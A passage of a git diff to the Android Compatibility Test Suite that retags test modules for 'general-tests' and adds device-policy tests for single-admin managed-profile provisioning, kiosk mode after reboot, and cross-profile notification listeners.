index 3c0a2a1..5cf5e66 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 6f9ef5d..135b4cf 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
index f755018..46b6292 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSimpleApp
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
index 0b7c625..649c3ab 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
new file mode 100644
index 0000000..6b2609b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDevicePolicySingleAdminTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+    android-support-v4 \
+    ctstestrunner \
+    compatibility-device-util \
+    ub-uiautomator \
+    android-support-test \
+    legacy-android-test
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
new file mode 100644
index 0000000..6ae1eb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.devicepolicy.singleadmin">
+
+    <application
+        android:testOnly="true">
+
+        <uses-library android:name="android.test.runner" />
+
+        <receiver
+            android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.devicepolicy.singleadmin"
+        android:label="Managed Profile CTS Tests (Single admin receiver)"/>
+</manifest>
diff --git a/tests/tests/transition/res/values/styles.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
similarity index 65%
rename from tests/tests/transition/res/values/styles.xml
rename to hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
index 00303c9..0f434d2 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
@@ -1,20 +1,19 @@
-<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
 
-         http://www.apache.org/licenses/LICENSE-2.0
+          http://www.apache.org/licenses/LICENSE-2.0
 
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
      See the License for the specific language governing permissions and
      limitations under the License.
-     -->
-<resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
-    <item name="android:windowSwipeToDismiss">false</item>
-  </style>
-</resources>
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies>
+        <force-lock />
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..2828b3d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy.singleadmin;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@SmallTest
+public class ProvisioningSingleAdminTest {
+
+    private static final String ADMIN_RECEIVER_PACKAGE = AdminReceiver.class.getPackage().getName();
+    private static final String ADMIN_RECEIVER_NAME = AdminReceiver.class.getName();
+
+    private static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+            ADMIN_RECEIVER_PACKAGE, ADMIN_RECEIVER_NAME);
+
+    private Context mContext;
+
+    public static class AdminReceiver extends DeviceAdminReceiver {
+        @Override
+        public void onProfileProvisioningComplete(Context context, Intent intent) {
+            super.onProfileProvisioningComplete(context, intent);
+            getManager(context).setProfileName(ADMIN_RECEIVER_COMPONENT, "Managed Profile");
+            getManager(context).setProfileEnabled(ADMIN_RECEIVER_COMPONENT);
+        }
+    }
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testManagedProfileProvisioning() throws InterruptedException {
+        assertProvisioningSucceeds(createProvisioningIntent());
+    }
+
+    private Intent createProvisioningIntent() {
+        return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
+                .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+                .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, ADMIN_RECEIVER_PACKAGE);
+    }
+
+    private void assertProvisioningSucceeds(Intent intent) throws InterruptedException {
+        SilentProvisioningTestManager provisioningMgr = new SilentProvisioningTestManager(mContext);
+        assertTrue(provisioningMgr.startProvisioningAndWait(intent));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/Android.mk b/hostsidetests/devicepolicy/app/VpnApp/Android.mk
index 8963230..9723b97 100644
--- a/hostsidetests/devicepolicy/app/VpnApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/VpnApp/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
index 5e5db1e..ac967a3 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
@@ -27,6 +27,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index 699b476..8992f42 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 9a2224e1..6c14be0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -67,6 +67,9 @@
     private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
     private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
     private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
+    private static final String DELEGATION_PERMISSION_GRANT = "delegation-permission-grant";
+    private static final String DELEGATION_PACKAGE_ACCESS = "delegation-package-access";
+    private static final String DELEGATION_ENABLE_SYSTEM_APP = "delegation-enable-system-app";
 
     private static final String TEST_APP_APK = "CtsSimpleApp.apk";
     private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
@@ -189,7 +192,10 @@
         final String delegationTests[] = {
             ".AppRestrictionsDelegateTest",
             ".CertInstallDelegateTest",
-            ".BlockUninstallDelegateTest"
+            ".BlockUninstallDelegateTest",
+            ".PermissionGrantDelegateTest",
+            ".PackageAccessDelegateTest",
+            ".EnableSystemAppDelegateTest"
         };
 
         // Set a device lockscreen password (precondition for installing private key pairs).
@@ -208,7 +214,10 @@
             setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(
                     DELEGATION_APP_RESTRICTIONS,
                     DELEGATION_CERT_INSTALL,
-                    DELEGATION_BLOCK_UNINSTALL));
+                    DELEGATION_BLOCK_UNINSTALL,
+                    DELEGATION_PERMISSION_GRANT,
+                    DELEGATION_PACKAGE_ACCESS,
+                    DELEGATION_ENABLE_SYSTEM_APP));
             runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest", mUserId);
             executeDelegationTests(delegationTests, true /* positive result */);
 
@@ -220,7 +229,7 @@
             executeDeviceTestClass(".DelegationTest");
 
         } finally {
-            // Clear lockscreen password previously set for installing private key pairs (DO only).
+            // Clear lockscreen password previously set for installing private key pairs.
             changeUserCredential(null, "1234", mPrimaryUserId);
             // Remove any remaining delegations.
             setDelegatedScopes(DELEGATE_APP_PKG, null);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 827db71..a4844f5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -374,6 +374,35 @@
         }
     }
 
+    public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Just start kiosk mode
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
+                    mPrimaryUserId);
+
+            // Reboot while in kiosk mode and then unlock the device
+            getDevice().reboot();
+
+            // Check that kiosk mode is working and can't be interrupted
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+
+            // Try to open settings via adb
+            executeShellCommand("am start -a android.settings.SETTINGS");
+
+            // Check again
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+        } finally {
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+                    "clearDefaultHomeIntentReceiver", mPrimaryUserId);
+        }
+    }
+
     public void testLockTask_unaffiliatedUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -578,4 +607,4 @@
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
                 /* deviceOwnerUserId */ mPrimaryUserId);
     }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..ef7099b
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy;
+
+import org.junit.Test;
+
+/**
+ * This class tests the provisioning flow with an APK that declares a single receiver with
+ * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
+ * ACTION_PROVISION_MANAGED_PROFILE intent before Android M.
+ */
+public class ManagedProfileProvisioningSingleAdminTest extends BaseDevicePolicyTest {
+
+    private static final String SINGLE_ADMIN_PKG = "com.android.cts.devicepolicy.singleadmin";
+    private static final String SINGLE_ADMIN_APP_APK = "CtsDevicePolicySingleAdminTestApp.apk";
+
+    private int mProfileUserId;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // We need multi user to be supported in order to create a profile of the user owner.
+        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+
+        if (mHasFeature) {
+            removeTestUsers();
+            installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
+            mProfileUserId = 0;
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            if (mProfileUserId != 0) {
+                removeUser(mProfileUserId);
+            }
+            getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+        }
+        super.tearDown();
+    }
+
+    @Test
+    public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        runDeviceTestsAsUser(SINGLE_ADMIN_PKG, ".ProvisioningSingleAdminTest",
+                "testManagedProfileProvisioning", mPrimaryUserId);
+
+        mProfileUserId = getFirstManagedProfileUserId();
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 26da677..fb41bc9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -22,6 +22,7 @@
 
 import junit.framework.AssertionFailedError;
 
+import java.util.Collections;
 import java.util.concurrent.Callable;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
@@ -61,6 +62,12 @@
             = "content://com.android.cts.contact.directory.provider/";
     private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
 
+    private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
+    private static final String NOTIFICATION_PKG =
+            "com.android.cts.managedprofiletests.notificationsender";
+    private static final String NOTIFICATION_ACTIVITY =
+            NOTIFICATION_PKG + ".SendNotification";
+
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
 
@@ -75,6 +82,8 @@
 
     private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(15);
 
+    private static final String PARAM_PROFILE_ID = "profile-id";
+
     private int mParentUserId;
 
     // ID of the profile we'll create. This will always be a profile of the parent.
@@ -112,6 +121,7 @@
             getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
             getDevice().uninstallPackage(INTENT_SENDER_PKG);
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+            getDevice().uninstallPackage(NOTIFICATION_PKG);
         }
         super.tearDown();
     }
@@ -353,6 +363,60 @@
 
     }
 
+    public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+        // Profile owner in the profile sets an empty whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testSetEmptyWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can only see personal notifications.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCannotReceiveProfileNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+        // Profile owner in the profile sets a null whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testSetNullWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can see profile and personal notifications
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCanReceiveNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+        // Profile owner in the profile adds listener to the whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testAddListenerToWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can see profile and personal notifications
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCanReceiveNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
     public void testCrossProfileCopyPaste() throws Exception {
         if (!mHasFeature) {
             return;
@@ -767,6 +831,9 @@
         if (!shouldRunTelecomTest()) {
             return;
         }
+        getDevice().setSetting(
+            mProfileUserId, "secure", "dialer_default_application", MANAGED_PROFILE_PKG);
+
         // Place a outgoing call through work phone account using TelecomManager and verify the
         // call is inserted properly.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
@@ -796,6 +863,16 @@
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testEnsureCallNotInserted",
                 mParentUserId);
+
+        // Add an incoming missed call with parent user's phone account and verify the call is
+        // inserted properly.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            "testIncomingMissedCall",
+            mProfileUserId);
+        // Make sure the call is not inserted into parent user.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            "testEnsureCallNotInserted",
+            mParentUserId);
     }
 
     private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index 8a3470f..1b3768c 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.dumpsys
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index b11a57b..a20895d 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index dc9e4c9..8896f6a 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index 1691103..eff16cf 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
index b02fc19..05a6353 100644
--- a/hostsidetests/incident/Android.mk
+++ b/hostsidetests/incident/Android.mk
@@ -20,7 +20,7 @@
 
 # tag this module as a cts test artifact
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsIncidentHostTestCases
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index 78f710b..bf1858c 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index e9c1555..160f5d0 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index d6db6f7..87b9857 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.mk b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
index 7d3eb55..75d1d09 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
@@ -25,8 +25,7 @@
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index a32926b..ce3ea11 100644
